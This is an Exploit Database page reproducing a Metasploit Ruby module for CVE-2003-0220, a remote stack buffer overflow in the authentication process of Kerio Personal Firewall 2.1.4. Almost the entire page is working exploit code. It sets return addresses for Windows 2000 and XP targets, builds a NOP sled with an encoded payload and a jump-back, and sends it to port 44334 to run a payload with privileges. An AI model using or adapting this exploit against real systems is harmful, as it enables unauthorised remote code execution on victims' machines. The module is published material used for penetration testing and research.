Kerio Personal Firewall 2.1.4 – Authentication Packet Overflow (Metasploit)

• Exploit Database
• 10 阅读

• 作者： Metasploit
  日期： 2010-06-15
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16465/

• ##
  # $Id: kerio_auth.rb 9525 2010-06-15 07:18:08Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = AverageRanking
  
  	include Msf::Exploit::Remote::Tcp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Kerio Firewall 2.1.4 Authentication Packet Overflow',
  			'Description'=> %q{
  				This module exploits a stack buffer overflow in Kerio Personal Firewall
  				administration authentication process. This module has only been tested
  				against Kerio Personal Firewall 2 (2.1.4).
  			},
  			'Author' => 'MC',
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9525 $',
  			'References' =>
  				[
  					['CVE', '2003-0220'],
  					['OSVDB', '6294'],
  					['BID', '7180'],
  					['URL', 'http://www1.corest.com/common/showdoc.php?idx=314&idxseccion=10'],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  				},
  			'Payload'=>
  				{
  					'Space'=> 800,
  					'BadChars' => "\x00",
  					'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x7c2ec68b } ],
  					[ 'Windows XP Pro SP0 English', { 'Ret' => 0x77e3171b } ],
  					[ 'Windows XP Pro SP1 English', { 'Ret' => 0x77dc5527 } ],
  				],
  			'Privileged' => true,
  			'DisclosureDate' => 'Apr 28 2003',
  			'DefaultTarget' => 0))
  
  		register_options(
  			[
  				Opt::RPORT(44334)
  			], self.class)
  	end
  
  	def exploit
  		connect
  
  		print_status("Trying target #{target.name}...")
  
  		sploit =make_nops(4468) + payload.encoded
  		sploit << [target.ret].pack('V') + [0xe8, -850].pack('CV')
  
  		sock.put(sploit)
  		sock.get_once(-1, 3)
  
  		handler
  		disconnect
  	end
  
  end